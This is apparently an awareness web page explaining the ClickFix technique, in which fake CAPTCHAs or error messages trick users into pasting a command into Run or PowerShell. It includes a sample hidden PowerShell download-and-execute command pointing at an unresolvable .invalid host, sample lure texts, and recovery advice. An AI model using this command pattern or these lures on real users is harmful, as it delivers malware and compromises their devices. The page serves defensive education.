clickfix.fyi

ClickFix: from fake CAPTCHA to command execution

ClickFix is a social engineering technique that uses fake CAPTCHAs or error messages to trick someone into copying and running a command. The command typically downloads malware.

The interactive demo below reproduces this sequence using a harmless script.

DemoWindows · Harmless script · View the source first
  1. 1Lure
  2. 2Instructions
  3. 3Command
  4. 4Result
Security check

Let’s confirm you’re human.

This quick check helps protect the site from automated traffic.

How it works

ClickFix is a way to deliver malware, not a specific piece of malware. What gets installed varies between campaigns.

  1. The page shows a fake prompt.

    A malicious or compromised page displays a familiar CAPTCHA, browser error, meeting problem, or document error.

  2. The button copies a command.

    The button claims to copy a verification code or fix. It copies a command instead.

  3. The user opens a system tool.

    The page directs the user to open Run, PowerShell, Terminal, Command Prompt, or File Explorer.

  4. The user runs the command.

    The system tool executes whatever the attacker placed on the clipboard.

    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm https://secure-check.example.invalid/update.ps1 | iex"
    The reserved .invalid domain cannot resolve, so this example cannot download a payload.
  5. The command downloads malware.

    The downloaded malware then runs on the device.

Common fake prompts

  • “Verify you are human”
  • “Your browser needs an update”
  • “The document cannot be displayed”
  • “Your microphone or meeting connection failed”

If you ran the command

Treat the device as compromised.
  1. Disconnect the affected computer. Turn off Wi-Fi and unplug the network cable.
  2. Secure your accounts. From another device, sign out active sessions and change credentials that may have been exposed.
  3. Clean or rebuild the device. A clean antivirus scan does not prove the malware is gone. Reinstall the operating system or have the device inspected.

ClickFix news